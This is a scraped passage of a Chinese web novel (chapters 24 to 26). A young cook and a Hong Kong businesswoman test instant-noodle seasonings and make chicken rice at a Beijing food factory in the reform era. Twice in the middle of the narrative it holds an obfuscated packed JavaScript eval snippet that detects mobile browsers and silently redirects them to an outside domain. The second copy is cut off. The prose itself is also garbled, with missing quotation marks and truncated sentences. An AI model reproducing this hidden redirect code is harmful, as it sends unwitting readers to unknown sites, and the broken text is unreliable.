岳宁和爷爷坐在一起低声说着自己对几款速食面的看法：“爷爷我想熬酱料替代面里的麻油包。作为调料这样面就可汤可捞了。” “速食面最引以为傲的是采用速溶咖啡喷雾干燥技术来生产调料粉末。” “华叔我们就是被这个限制住了以为日本的方法就是最先进的。”崔慧仪转过身来对岳宝华说“就凭宁宁尝一下就能知道里面是什么调料我就信她懂行。” “宁宁啊！你爷爷刚才说你回港城后想读书？” 这个声音很突兀是一直没说话的崔二太发出的。“宁宁”这个称呼也很突兀他们都没说过几句话话题也转得突兀刚才大家还在讲调料她却说起这个。 岳宁一脸懵地看着她二太说：“我在想内地这几年情况不太好而且内地和港城差距巨大。港城有中文中学和英文中学听你爷爷说你会繁体字那就好办。我回港之后就帮你联系崇真中学你崔世伯一直资助这家中学是里面的 校董。” 她这一番话别说岳宁懵了就连岳宝华也懵了。 刚才他们在楼下聊天乔启明问他寻回了宁宁有什么打算。他因为听见宁宁和乔君贤在谈论念书、上大学的事就想着自己先帮宁宁把学校跑好再说。于是略带骄傲地提了一句得到了乔老板的一阵夸赞说孩子有志向。这个二太太怎么就突然说这话了呢？ 这位二太莫名其妙的热情让岳宝华心生警惕他对这位二太印象很不好。这位二太刚开始还在宝华楼做过勤杂工他看她模样不错就让她去包房服务。服务了没多久她就跟客人有了不当接触。因为她也是从粤城来的自己还劝过她几句。好了没几天她又故态复萌没多久就离开了宝华楼。再次得知这位的消息是她靠着给崔老板生了个儿子成了崔二太。 辉煌现在的问题根本不是崔老板的大女儿崔慧文生了孩子没精力管理酒楼而是这个二太仗着有儿子步步紧逼想要参与公司管理。那位大小姐刚好生孩子生完孩子就借口要带孩子甩手不干了。 “崇真中学？”崔慧仪讥讽地笑了“婉姨？你开什么玩笑那所中学每年能考上港大和港中文的有几个？一大半人也就申请个副学士。你让宁宁去上这所中学？” 二太太转过身来温言善语地说：“二小姐你不知道大陆和港城学校的差距。崇真虽然不是很好但不是咱们家资助的吗？” 她又看向岳宁：“我知道宁宁聪明宁宁先进去适应然后我再安排老师给她补习。一步一步来就好。” 崔慧仪不能替岳宁拒绝毕竟她去海外留学 “宁宁你有什么想法就跟我说千万别客气。” “二太宁宁还没回港城咱们爷孙先回港城有什么事到时候再问二太。”岳宝华委婉地说。 “华叔我是考虑到你们忙想力所能及地帮忙。宁宁回港城后事情还多我刚好在忙慧书升学了解了不少。” 这个二太是听不懂爷爷的委婉拒绝吗？岳宁笑了笑：“二太这点小事我自己能处理。我刚才问过乔君贤了他虽然在美国读高中和大学但他有个好友在港城读大学。他告诉我港城有两种身份可以参加大学入学考试一个是修完预科的学生还有一个是自 修生。自修生只有年龄限制，我打算以自修生的身份参加考试。 “自修生虽然能参加考试，但每年能考上的又有几个？那些顶着自修生身份的，实际上是复读生。 岳宁点头：“复读生多，那就更好了，针对这群人的培训机构肯定也多。我打算找几家口碑好的机构，选其中比较好的老师，进行一对一、有针对性的辅导。不过是多花点钱的事。这样不仅效率高，时间也能灵活安排，至少午市或者晚市之一，我可以跟爷爷在宝华楼学做菜，也能一举两得。 “那你知道哪家辅导机构好吗？现在外面的辅导机构鱼龙混杂。二太还试图说服岳宁。 “先找像您这样的家长，了解一下港城中学的排名，然后去排名比较高的中学周围找培训机构，就跟挑酒楼吃饭一样，哪家上座率高，就挑哪家。多试听几堂课就解决了。岳宁一双晶亮的眼睛看着她，“二太，谢谢你的关心。我们还是别把时间浪费在我个人身上了，言归正传，讨论调味包吧？ 崔慧仪噗呲一声，用粤语说：“没脑子的操心有脑子的未来？ 岳宁转回话题：“喷雾干燥的调味粉和酱料包不冲突，就像麻油包和酱油包的作用。 崔慧仪看到食品厂的谢厂长听得很认真，一瞬间她觉得自己脑子不好使了。如果岳宁的配方真的很好，那岂不是…… 在崔慧仪忐忑的心情中，车子到了食品厂。 这个地方在三四十年后，可是寸土寸金的商业区啊！现在呢？一大片灰扑扑的工业厂房。 车子进了大门，停在了办公楼门口。岳宁下车，办公楼上鲜亮的标语“新时期总任务在奋斗 穿过空荡荡的办公楼，后面的几栋车间也静悄悄的。 “怎么没有工人上班？岳宁问。 谢厂长愕然说：“五点下班。 好吧！上辈子自家的工厂是四班三运转，二十四小时灯火通明。岳宁告诉自己，这个时候消费还没起来，每天常日班也就够了。 食堂在车间的最后面，岳宁走在大食堂外的廊檐下，透过玻璃窗往里看。里面昏暗中，墙上贴着画报、宣传标语，还有一排排长条桌和凳子，以及一长条打饭窗口。 但他们就这么穿过了食堂，没进去，而是来到一道铁门前。这道铁门还上着锁，门边的墙上用红漆写着：“本门开放时间上午7:40- 8:00，下午5:00-5:20。 食品厂的一个主任掏出钥匙开了锁，等他们跨过这道门，眼前高大的白杨树下是一排红砖墙的筒子楼。楼前的空地上，架着一块水泥板，充当乒乓球桌，几个少年在打乒乓球。离他们不远的地方，几个女孩子在跳皮筋，两个穿着汗背心的大爷在下棋。 边上的自来水槽边，挤着几个女同志。 “厂长，港城的客人怎么到我们家属区了？一位正在洗菜的大姐，举着湿漉漉的手问道。 “别瞎打听，洗你的菜。 谢厂长不轻不重地喊了一声，继续往前走。左手边有道围墙，围墙上刷了几个字“招待所。 隔着围墙，一股饭菜香飘了出来。 走进去，里面是一排两层楼的房子。楼上晾挂的衣服像万国旗在风中飘扬，楼下则挂着牌子“餐厅。 “这是我们厂的招待所，里面住的都是各地来排队要货的供销社人员。谢厂长说，“我们去招待所食堂。 “排队等货？为什么不加班加点供应？岳宝华脱口而出。 谢厂长苦笑着说：“上头就分配给我们这点计划。 “谢厂长！声音从楼上阳台传来，声音的主人已经转身往楼梯跑去。 他这一声像是冲锋号，原本在阳台上乘凉的，在东侧水槽洗衣服的，在餐厅吃饭的，全都放下手里的事情，往他们这里冲过来，生怕慢了半步。 岳宁还没搞清楚状况，这群人已经把谢厂长和刘主任团团围住，他们这群客人硬生生地被挤出了包围圈。 “谢厂长，我都等了半个月了，先让我拉两车回去交差吧？ “你才半个月，我都快一个月了。 “谢厂长，你就可怜可怜我，我从成都来的。 “比远是吧？我从云南来…… 崔老板看着这乱哄哄的一团，皱着眉头，问崔慧仪：“就这样，你也想来？ 崔慧仪看到谢厂长一声声喊：“同志们，同志们听我说…… 她也有些害怕了，自己能顶得住这样的情形吗？ “这样才要来。岳宁高声说，她刚好在崔慧仪身边，声音让崔慧仪一震。 岳宁转向崔老板：“崔世伯，你看到的是麻烦，我怎么看到的是商机啊？这么多人等着要货，这不都是生意？谢厂长给不出货是因为上头不给计划，你们呢？会缺物资吗？缺什么不能从外头运 进来？这些人可都是你们未来的客户，甚至可以说，他们都是你们现在的客户。” 崔慧仪一把抱住岳宁：“到底谁在做生意？你怎么脑子转得比我还快？” 岳宁挺起胸，骄傲地说：“我爷爷既是厨子，也是老板，我是厨子家会做菜又会经营的孙女。” 这话深得崔慧仪的心，崔慧仪的视线落在崔二太太身上，勾起一个轻蔑的笑容。 崔二太太显然没料到岳宁跟着崔慧仪一起刺她，她脸上除了尴尬，还有黯然。 “姐，想个办法和他们交换个联系方式？这群人里只要有几个能人，以后你的食品就有人卖了。”岳宁看着前面那个缠着谢厂长的瘦小男人。 崔慧仪眨了眨眼：“你来我们食品厂，帮我管内地市场？那我就高枕无忧了。” “乔君贤许我厂长之位。”岳宁往岳宝华身边靠了靠，带着骄傲的表情，“我也是有家业要继承的人，只能忍痛拒绝。” 在崔老板面前，孙女这么说，岳宝华有些不好意思，毕竟宝华楼这点家产算什么呢？ 崔慧仪笑着看向岳宁：“我觉得我爸要是明智的话，他应该把辉煌的股份低价转让大半给你，这样不仅不用担心倒闭，还能狠狠赚一笔。等以后你真做起来了，哪里还有辉煌的活路？” “港城那么大，餐馆之间哪至于你死我活？宝华楼和辉煌还是能和平共处的吧？”岳宁说。 谢厂长跟那群人好说歹说，才挤了出来，来到他们这边：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912446|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉抱歉，我们进厨房吧！” 他们跟着谢厂长往厨房走，一位胖嘟嘟的大师傅从厨房门口出来。 “张师傅，东西准备好了吗？”谢厂长问。 “准备好了，准备好了！”胖师傅转身带着他们进了厨房。 厨房和餐厅只隔着一个打饭的窗口，一个五十来岁的阿姨正在给那些供销人员打饭，一块饭上盖一勺木须肉、一勺烧茄子。 一个三眼灶台，靠窗那里有一张板桌，胖师傅引他们过去，桌上摆着岳宁要的食材。 岳宁提起桌上一只鸡问：“师傅，这是咱们北京的油鸡吗？” “嘿！姑娘，你可真识货。拔了**，还能认出来？”师傅新奇地说。 “清宫的御用鸡，据说慈禧太后非油鸡不吃。”岳宁捏着鸡胸肉，感觉这鸡龄刚刚好。 “慈禧那都多远的事了，新中国成立后，这北京油鸡，可是国宴用鸡。”胖师 傅可不能忍有人不知道这鸡在新中国的地位。 “是我见识少了。” “不知道很正常你又不是咱北京人。”胖师傅指着一块肥瘦相间的肉说“这肉也不错吧？肉联厂给我留的。” “好肉。”岳宁看过去芹菜也很水灵。 胖师傅拿起一个装了小半碗酱的碗：“你们一定要六必居的酱我这儿没有懒得特地去买了这是我自己酿的酱尝尝？” 岳宁去水槽边洗了个手用手指沾了一点酱尝了一下。这个黄豆酱发酵得刚刚好酱香浓郁鲜味突出她眼睛一亮：“好鲜啊！这个酱好就要这个酱。” “是吧？六必居有好酱但是人家要先出酱油去掉了头道酱油那个酱就没这么鲜了。” “是是！我要六必居的酱是觉得他们家的酱至少味道有保证哪知道有您这样的大师傅？这酱是真好。” 厨子这一行民间有众多高手。就拿她上辈子研制玻璃脆皮烧鸭来说让她最为惊艳的不是南京、北京的烤鸭而是巢湖洗耳池边一个小摊子上的烤鸭。枣红色油润酥脆的鸭皮鲜嫩中带着甘甜的鸭肉浇上浓郁的烤鸭汁水味道绝了。 岳宝华听孙女这么说连忙去洗手也来尝尝。 “好酱。”岳宝华自己也酿豆酱与鱼饭相配的豆酱便是他亲手酿制的。他家的豆酱颜色金黄口感绵密味道咸鲜中带着甘甜 他的几个徒弟都只是学了点皮**。就拿丁胜强的胜华楼来说其他菜品还行鱼饭做法简单可搭配的豆酱稍有差异即便普通食客也能分辨得一清二楚。好多食客在胜华楼吃过鱼饭之后又回到宝华楼还会感慨一句：“师傅就是师傅。老虎跟猫学艺没学全啊！” 南北的黄豆酱工艺不同这位张师傅的黄豆酱口感醇厚、味道鲜甜、咸淡适口颜色呈棕褐色对着光看还透着光泽无疑是好酱。 被祖孙俩这般夸赞崔慧仪也过来尝了尝。她身为食品厂老板从对业务一窍不通开始打拼自家的产品都吃到腻了。酱一沾上舌头她就知道好坏。 “慧仪姐我说得没错吧？大陆不缺人才缺的是发掘人才的眼光咱们食品厂就有张师傅这样的大师傅。” 被岳宁这么一夸胖师傅不好意思地揉了揉自己油亮的大光头。 “张师傅啊我慧仪姐担心港城那种 淡口的鸡汤面、海鲜面，到了咱们北方，不适合这边的口味。要是真投资生产，不知道能不能卖得出去？”岳宁向张师傅解释道。 还没等张师傅回答，谢厂长抢先说道：“怎么可能卖不出去？外头都是排队等着提货的人呢。” 崔慧仪摇了摇头：“谢厂长，现在物资紧缺，可物资不会一直紧缺下去。我们得做适合北方人口味的速食面。” 岳宁在胖师傅的带领下，查看了准备好的配料，说道：“行，那咱们马上开始？张师傅，能给我一条围裙吗？” 胖师傅正要去拿围裙，刘主任说道：“都这个时候了，要不先吃晚饭吧？我们去对面的饭店。” “不了，还是先做酱料。”崔慧仪说。来内地之后，一路走来，每到一处，当地商务人员都会招待吃喝。崔慧仪知道这是中国人的传统，在港城也是在饭桌上谈生意，可她还得尝试本地小吃，一路吃过来，实在太累了。 谢厂长看向正在打饭的阿姨，就两个菜，怎么招待港商呢？他有些为难地说：“要……要不，就在咱们餐厅随便吃点？” 崔慧仪爽快地应道：“好啊！” 胖师傅着急起来，把刘主任拉到一旁，低声说：“不行啊！我今天收了三十三张饭票，你知道我都是按人头准备饭菜的。打菜的时候得看着人数，要是有人加进来，就得再炒。今天你打电话说要这些料，这只鸡、这块肉都是我预留的，你现在让我上哪儿再变出东西来？” 岳宁往前看去，一位大妈正在窗口给客人打饭，看这情形，每个人的饭菜都是定量的，确实不会有多余的。 谢厂长听到了他们的对话，说道：“老刘，你去找大食堂的老黄，从大食堂拿点过来。” 岳宁看着眼前的食材，说道：“谢厂长，别麻烦了。我做酱料用不了这么多鸡和肉。慧仪姐和我爷爷来内地有段时间了，他们肯定都想念港城的饭菜了。剩下的鸡和肉，足够我做一份鸡饭了。” “你们是客人，这怎么好意思呢？” 岳宁摆了摆手：“我们来试酱料是为了以后合作，合作了就是一家人，谢厂长就别说见外的话了。” “现在大家都是一家人，都是中国人。”崔慧仪笑着说。 这话正合谢厂长心意，他点头应道：“对对，一家人，一家人！” “张师傅，有围裙吗？”岳宁问道。 胖师傅拿来围裙，岳宁系在身上，围裙太大了，她只能把带子系到前面。胖师傅摸了摸光头，笑道：“这围裙都能当床单了。” 岳宁看着像长袍一样的围裙，也跟着笑了。她问道：“张师傅，能帮我一起做吗？” 刚才岳宁夸赞他的酱好，张师傅心里喜滋滋的，觉得这小丫头特别讨喜，便说道：“我听你指挥。” 岳宁想了想，说道：“爷爷和张师傅帮我，其他人要是没什么兴趣，就别在厨房待着了，去餐厅等着，等我做好饭，大家一起吃。” “岳宁，你可真厉害，居然能让港城有名的大厨给你打下手。”崔慧仪半开玩笑地说。 “不仅我爷爷是大厨，咱们张师傅也是民间高手。”岳宁得意地说，“两位大师傅给我打下手，用北京话讲，这叫倍儿有面子。” “丫头，那咱开始干啦？”张师傅问道。 “干活咯！” 第 25 章 东平鸡饭 第25章第25章 【东平鸡饭】 谢厂长招呼大家出去,崔慧仪说：“我留下看看。” “张师傅，饭应该有多的吧？没有的话就要蒸起来了。”岳宁问张师傅。 “饭有的，我多蒸了些,晚上打剩下的,明天早上用作泡饭。”张师傅带着岳宁过去揭开蒸笼,查看蒸着的米饭。 米饭的清香随着蒸汽飘散出来，岳宁立马猜出这是东北大米，说道：“好香。” 做鸡饭最好用泰国香米或者南方那种不太糯的粳米,这样做出的饭才粒粒分明。不过，谁又能拒绝这香喷喷、不用任何配菜就能吃一大碗的东北米饭呢？ 张师傅悄悄说：“咱们是食品厂，米比别人家的要好，都是东北大米,可香了。外头那帮人说是来咱们这儿催货,实际上是冲着咱们这儿香喷喷的米饭来的。要不是我做的菜不是淡就是咸，他们巴不得一天三顿都在食品厂吃。” “啊？那不要粮票吗？”岳宁问。 “交一样的粮票,他们去服装厂催货试试？天天吃发黄的籼米饭。”张师傅振振有词地说。 “张师傅，你太坏了。”岳宁笑着说。 张师傅的观念她实在难以认同，也只有在这个时代,才能真把客户当成“孙子”,还嫌弃人家来这儿是贪图一口白米饭。 “我分派工作啦？”岳宁说。 “听你的。” “张师傅，帮我剁点肉，我要一小碗细臊子，其他的切成黄豆大小的肉丁。”她又转向岳宝华，“爷爷,芹菜、大蒜、洋葱……” 她分派好工作,提起鸡走到案板前，正在切肉丁的张师傅问：“丫头,用绞肉机绞可以不？还是要手工剁肉？” “啊？还有绞肉机？”岳宁问。 张师傅指着长凳上安装的绞肉机说：“你不会没见过吧？” “没见过。我在西北山沟沟里长大。” “不是说，你们是港城来的大老板吗？” 岳宁把鸡胸肉片下来，去掉筋膜，说：“哪儿啊？我在粤城出生，两岁的时候，妈妈跑去港城了，加上我爷爷解放前就去了港城，受牵连，爸爸被下放到大西北改造，就把我带到了大西北，所以我是在大西北长大的。” “那你爸爸呢？”张师傅问。 岳宁拿着一把菜刀，在鸡的骨肉间熟练游走，起肉拆骨，幽幽地叹 了一声：“爸爸没了。 “对不住。 “没事，这就是事实嘛。 胖师傅看向正在切芹菜的岳宝华：“老师傅啊！你说你跑什么港城呢？港城再好，能有家里好吗？你跑去港城，害得孩子们受了多大的罪？ 这话戳中了岳宝华的伤心处，他神色黯然。这是他后悔了千万遍的事，如果可以重来，他死也不会去港城。他声音哽咽：“是啊！ 张师傅放下肉，拍了一下自己的嘴：“我怎么就这么不会说话呢？ “你没说错。岳宝华轻声说。 岳宁短短几分钟，就把一只鸡的鸡皮、鸡肉、鸡骨、鸡油分得清清楚楚，她拿了两块鸡胸肉给岳宝华：“爷爷，这两块鸡胸肉剁成细蓉。 她回过头对张师傅说：“我爷爷又不知道后来会这样，他也是没办法，这么多年一直记挂着我爸爸。有钱难买早知道，您说是不是？ “是啊！是啊！这种事谁能预料到呢？张师傅绞好肉，问岳宁，“丫头，差不多吧？ 岳宁捏了一下肉馅：“可以了。 张师傅走到岳宝华面前：“老师傅，您别往心里去，我这人说话不过脑子。 “没有，没有。岳宝华还是忍不住重重地叹了一口气。 见岳宝华依旧神情低落，张师傅说：“您又不是神仙，又不能未卜先知。再说这事儿还不是您那个儿媳妇害的。咱们这儿，也有解放前跑出去的，最多也就是扫个厕所，干些重体力活，被大家骂几声。被下放到大西北，那肯定是有特殊原因的。都是那个女人不好。 “是啊！怎么会有这样的妈？舍得扔下男人和孩子？崔慧仪也跟着说。 岳宁拿了鸡骨鸡脚走到灶台前，见厨房门口，崔二太太站在那里，她问：“二太，有事吗？ “没事，我就是来看看。崔二太太索性走了进来。 崔慧仪从鼻孔里哼了一声：“家传没学会，还想靠偷师学会？ 崔二太太不与崔慧仪正面冲突，没有搭理她，径直走了进来，站到灶台边上。 岳宁见张师傅已经切好了肉丁，便说：“张师傅，帮我生个火呗。中间和外头的两个锅都要生火，中间一个我熬鸡油，外头一个用鸡骨熬汤。 张师傅打开鼓风机，往灶膛里添了柴。岳宁先把鸡骨炖上，在另一个锅里也添了一点水，把鸡油放进锅里，又往锅里放了葱姜。 无论是炼猪油还是鸡油都要从煮开始。 就那么点水很快就收干了油脂开始冒出来。岳宁把姜片和葱结捞了出来葱姜在锅里时间长了会影响鸡油本身的香气。岳宁再次赞叹：“张师傅北京油鸡真是名不虚传太香了。” “这鸡在山地里跑吃得又多养出的肉又肥又紧致。这油也比普通肥鸡的油香。两个锅都用文火行不？”张师傅问她。 “刚刚好。”岳宁竖起大拇指“不愧是能做出好酱的老师傅。” 张师傅也不确定她这夸赞是否真心笑了一声：“小丫头。” 岳宁把鸡腹油熬出的鸡油舀了出来金黄透亮香味纯正。 锅里还留着底油岳宁放入鸡皮。一只鸡里油最多的地方就是皮鸡皮带着水遇到油噼里啪啦地炸了起来。 张师傅和崔二太太站成一排他问：“你爷爷回来找你了那个女人呢？没来找你们父女俩？” 岳宁用炒勺翻炒着鸡皮鸡皮里有胶原蛋白容易糊锅：“我就是跟你们解释我为什么会去大西北。她的存在一是生了我二是导致我们父女俩去了大西北。她走的时候我才两岁她对我有什么意义？别提她了。” 岳宁转身去拿岳宝华切好的蒜蓉、姜末、洋葱末见爷爷已经剁好了鸡蓉她说：“爷爷帮我把剩下的鸡肉切成鸡丁做东平鸡饭用。” “可你马上要去港城了要是那个女人上门找你呢？”崔慧仪问她“你不知道她是谁她却知道你是谁啊！你爷爷又没改过名字在港城也很有名你回去的话她可能很快就知道了。她一个人跑港城不敢找你爷爷但你是她女儿她肯定想找你。” “姐就因为我是她女儿她就要来找我？那我还是她女儿呢她不还是眼睛都不眨一下就把我扔下了。她真要找我我肯定离她八丈远。我爷爷是被迫和爸爸分开他这么多年一直在等我们。他是个有情有义的人 “有可能饿死就算饿不死也可能被人当童养媳那可就成小白菜了……地里黄……”张师傅唱了起来。 岳宁笑着把炸到颜色金黄的鸡皮捞了出来鸡皮的出油量比鸡腹油多多了。 岳宁先把蒜蓉、洋葱末、姜末放进鸡油里：“她在自己的未来和我的生死之间，选择了她的未来。我尊重每个人的选择，不会指责她的选择。但是从她离开那一刻起，她跟我就没关系了。我爸爸选择了我，所以我是爸爸生命的延续，他的责任就是我的责任，他的理想就是我的理想。现在你说，如果我去了港城，她来找我。我打个比方，你和她对我来说同样是陌生人，站在我面前，你觉得我会选择和谁交往？” “在你知道她是你妈妈的前提下吗？你们可是母女啊！” “我会选你。”岳宁打断了她的话。 “选我？” 锅里蒜蓉和洋葱末的香气被鸡油激发出来，浓郁的香气在厨房里弥漫开来，几乎无孔不入。 岳宁说：“当我得知你舍不得你外公的食品厂关掉，再难也要把它撑起来，当我听你说，因为你是中国人，所以愿意在这样的条件下来内地投资。从那一刻起，我就愿意和你交往，把你当成密友了。因为你有情有义，这样的人靠得住。那个她？为了利益可以抛夫弃女，就算她在港城过得不错，她来找我，此刻无论是愧疚还是母爱，可能都是真的，也可能对我很好。但是我相信，以后遇到需要牺牲我的情形，她会毫不犹豫地牺牲我。你觉得这种人，你愿意跟她来往吗？” 崔慧仪不知为何，岳宁说把她当密友的时候，她心里很温暖。 “小岳，你真是个明白人，这种女人可不能跟她有一点点关系。常言说虎毒不食子，她是连亲女儿都能抛弃的人。”张师傅说。 岳宁眼睛的余光扫到崔二太，这位二太红唇衬得皮肤更加白皙，此刻她的皮肤却白得不正常，白得像冬天被冻坏了似的，可现在明明是夏天，而且还在厨房里。岳宁抬起手，用手背擦了擦额头的汗珠。 闽南潮汕做汤、做粿条喜欢用蒜头酥、红葱酱，就是把葱蒜放进油里炸，激发出香气，在清汤里放上一点，就能让一碗汤变得诱人起来。 餐厅和厨房只隔着打饭窗口，这个味道让餐厅里的人坐不住了，有人透过窗口问：“在做什么啊？怎么这么香？” 打饭阿姨也不打饭了，转头往里面看。 香气往上飘，厨房里又没有抽油烟机，味道直冲二楼宿舍，那几个住在宿舍里的供销人员也全都跑了下来，涌到厨房门口：“什么东西这么香？” 陪着崔老板说话的 谢厂长走到门口：“是港商在试调味料跟大家没关系。大家散了吧！” 味道不但没散反而更加浓烈了人怎么可能散去？ “到底是什么调料？怎么就这么香？” “肯定是人家港城的秘制调料？” “这是蒜头油我妈做的蒜头油没这么香。” 崔慧仪走到门口她身材高挑平日里常年健身身材挺拔匀称一头利落的短发 崔慧仪一看情况不对这些可都是她的潜在客户都走了那还了得立马换上一副笑脸：“大家不要走啊！” 哎？港商是在叫他们吗？ 大家回过头来崔慧仪从包里拿出名片盒：“大家好我是港城立德食品的总经理崔慧仪我这次来内地考察打算跟咱们食品厂成立合资公司生产速食面。” 岳宁在里面纠正她：“方便面。” “对对方便面。”崔慧仪把一张名片递给刚才催货催得最狠的那个人手里“先生这是我的名片。” 在那个怀揣介绍信靠着介绍信走南闯北的年代这群常年在外的供销人员也没见过这种正面是中文、背面是英文的名片几个人凑上去看。 崔慧仪又一个个派发名片：“我在调查中发现咱们中国地域宽广东西南北口味各不相同我担心港城的方便面配方口味太清淡可能不适合大陆市场。” 她侧过身往里看：“我们请了港城名厨宝华楼的老板岳宝华先生和他的孙女一起来帮我想想如何改进口味做出适合咱们内地口味的方便面。” 岳宁又往锅里加了香料味道更上一层楼她转头说：“崔总说她希望做出来的方便面一口吃上去既有南方的风味又适合咱们北方的口味。如果各位愿意帮忙试试等会儿请赏光给个评价也让我们有改进的方向。” “方……方便面调料？” “能这么香？” “那位大哥知道蒜头酥对吧？” “我们家的蒜头酥可没这么香。”那位大哥说。 没等岳宁回答边上的人已经说道：“要是你们家的蒜头酥也这么香崔总就请你改进调味了。” 岳宁用漏勺捞出鸡油加料版的蒜头酥再把 熬蒜头酥的鸡油也舀了出来：“张师傅，开旺火。” “好嘞！” 锅里留了底油，五花肉先下锅，岳宁颠勺翻炒几下，五花肉肥瘦相间，油脂被逼出，与炸过蒜头酥的鸡油混合，岳宁赞叹：“好肉啊！” 这肉都能赶得上上辈子她最喜欢用的云南小耳黑猪的肉了。 “那是，咱们厂里的肉，能不好吗？” 这时再放入鸡肉丁，猪油和带蒜香味的鸡油混合，滋润了瘦肉和鸡肉，两种肉丁在锅中不停地翻滚、碰撞，肉香四溢。 张师傅看岳宁才加了一小勺盐，说道：“你们这口可真淡。” “我们广府人口味清淡，盐放多了就没法调整了，觉得少了可以再加。” 有人喊道：“这就是方便面的调料吗？” “不是，我们还没吃晚饭。我在做粤西的鸡饭。”岳宁倒入刚才已经炸脆的鸡皮粒，烹入白酒，锅内火苗蹿起，随即出锅。 张师傅抖动着双颊的肉，拿着一双筷子：“让我尝尝？” “您请。” 他夹起一筷子肉丁塞进嘴里，鸡皮粒酥脆爽口，五花肉粒油润带筋，富有嚼劲，鸡肉粒软嫩，这三种口感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“各位大哥，我们省着点分，先分完我们几个人的，剩下的不能让大家一人一碗，一人尝一口，先到先得。岳宁说。 听见这话，一群人争先恐后进了餐厅，生怕自己去晚了尝不到味道。后面的人往前挤，岳宁说：“找位子坐下呀！ “饭上的鸡油，大家自己选，我做了原味鸡油、蒜香鸡油和加了黄豆酱和鸡汤的调味汁三种。岳宁跟他们这一桌的人说，“对不住了，我年轻，见大家都赏脸，忍不住就想露一手……只能咱们少吃点了。 崔老板自诩为老饕，依照传统，仅加了纯正的鸡油，又舀了一勺鸡丁盖在饭上，撒上些许葱花，便开始搅拌。 岳宝华只加了少许鸡油，拌了碗中一角的饭，尝了一口，这便是鸡油拌饭原本的味道。接着，他换上蒜头鸡油，宁宁在其中除了放蒜头，还加了姜、香菜、芹菜和洋葱，香气扑鼻，真的很香！他又加了一勺调味汁，搅拌均匀，黄豆酱经鸡汤稀释后，其鲜咸与鸡汤的鲜味融合在一起，十分美味！再盖上鸡丁，开始享用起来。 大家都很克制，舀的鸡丁并不多。岳宁给自己碗里添了些鸡丁后，去打了一大盆饭，将剩下的鸡丁和调味汁都倒入盆中，用饭勺上下翻搅均匀，让阿姨给大家分一分。 她自己坐下准备吃饭，已经吃了两口的崔慧仪对岳宝华说：“华叔，宁宁回港城后，宝华楼要是立刻推出这鸡饭，肯定会大受欢迎。 岳宁摇了摇头：“不不不，我回港城要主推烧腊，尤其是烧鸭，要把我做的烧鸭和爷爷的传统烧鸭放在一起售卖。 崔慧仪惊讶地问道：“你要和你爷爷比拼烧腊？你爷爷的烧腊在港城那可是响当当的招牌。不然辉煌也不会找你爷爷合作了。 “不是比拼一模一样的烧腊，我做的是不同口味的烧鸭，和 爷爷的传统烧鸭一同售卖。卖点就是祖孙俩口味的差异。” “你已经想好怎么推广了？”崔慧仪问。 岳宁凑近她，悄声说：“不仅想好怎么推广，我还想给爷爷出出气。你知道吗？就昨天，有客人在宝华楼的菜里吃到了胶布，还打了我爷爷的徒弟，把我气得恨不得马上冲过去，往那人锅里倒洗脚水。” 倒洗脚水？崔慧仪放下筷子，捏了捏岳宁气得像河豚一样的脸，说道：“别气了，其他事姐姐可能办不到，但要是你真想倒洗脚水，姐姐给你端水。” 岳宁：…… 此时，边上传来嘈杂的声音： “还有吗？就这么一小口，还没尝出味道就没了。” “没有了，这还是他们省下来给咱们的。” “这下好了，今晚我梦里都会惦记这味道。” “就不能让我也吃一大碗吗？那样我就能坐下来慢慢品尝了。” 这情形，简直就像猪八戒吃人参果一样。岳宁侧过头说：“大哥们，等会儿帮我们试试方便面的口味？碗先别收。” “那肯定行。可要是我尝着好吃，以后去哪儿买呢？” 崔慧仪说：“等会儿各位给我留个联系方式，等我想好在内地怎么销售了，给大家发信函通知。” 一提到发信函，大家都不吭声了。 毕竟那个敏感的年代刚过去不久，大家都在顾虑到底能不能私自与港商联系。 谢厂长皱着眉说：“崔总，这事恐怕得经过商委吧？” “谢谢提醒，我先去和商委商议一下。” 崔老板见岳宝华加了调味汁，自己也忍不住加了一勺。 之前听岳宁说话，他只觉得她有着与年龄不符的见识。自己身为老饕，深知厨艺即便有天赋，也得经过十几二十年的钻研，才能达到炉火纯青的地步。 这鸡饭却彻底改变了他的看法，越是这种看似平常的市井美食，越能体现厨艺的功力。可一个小姑娘，是从哪儿学来这般顶级厨艺的呢？ 崔老板问道：“宁宁，你的厨艺真的是你爸爸教的？” “小杨沟村没人会做粤菜，只有爸爸能教我。鸡饭可不是想吃就能吃到的。偶尔有了鸡，熬了蒜头油，爸爸就让我每天挖一点拌在洋芋粑粑里。”岳宁刚要低头吃饭，却瞧见崔二太太正痴痴地看着她。 自己说得还不够明白吗？若不是不想让爷爷知晓，那个害得他儿子和孙女吃苦，致使他儿子客死他乡的女人，此刻就好好地活在爷爷眼皮底下，爷爷每天看到她就会想起冤死的爸爸，没法过上安稳日子，自己现在就会拆穿她的真面目。 岳宁匆匆扒拉了几口饭，站起身说：“你们慢慢吃，我去炒调料。” 第 26 章 莫伯伯 第26章第26章 【莫伯伯】 决定来内地之后,崔慧仪给两家合作候选厂寄了几箱立德的圆仔方便面。 刘主任拿了一箱方便面过来，岳宁请张师傅帮忙先煮了五包面，就用方便面自带的调料,也做个口味调研。 一大盆麻油鸡面端到了窗口,打饭的阿姨给每个人都盛上一些。 “这是我们家卖得最好的圆仔麻油鸡面,我担心它可能不太符合北方的口味。你们先尝尝。”崔慧仪对大家说道。 “崔总，你们这个面已经很好吃了。比我们这儿的方便面好吃多了，北京和上海的方便面都有一股油腥味。” 谢厂长说：“我们之前用的是鸭油,味道更重，现在也改用棕榈油了，我们的棕榈油是国产的，炼油设备比不上国外,所以棕榈油有点异味。” 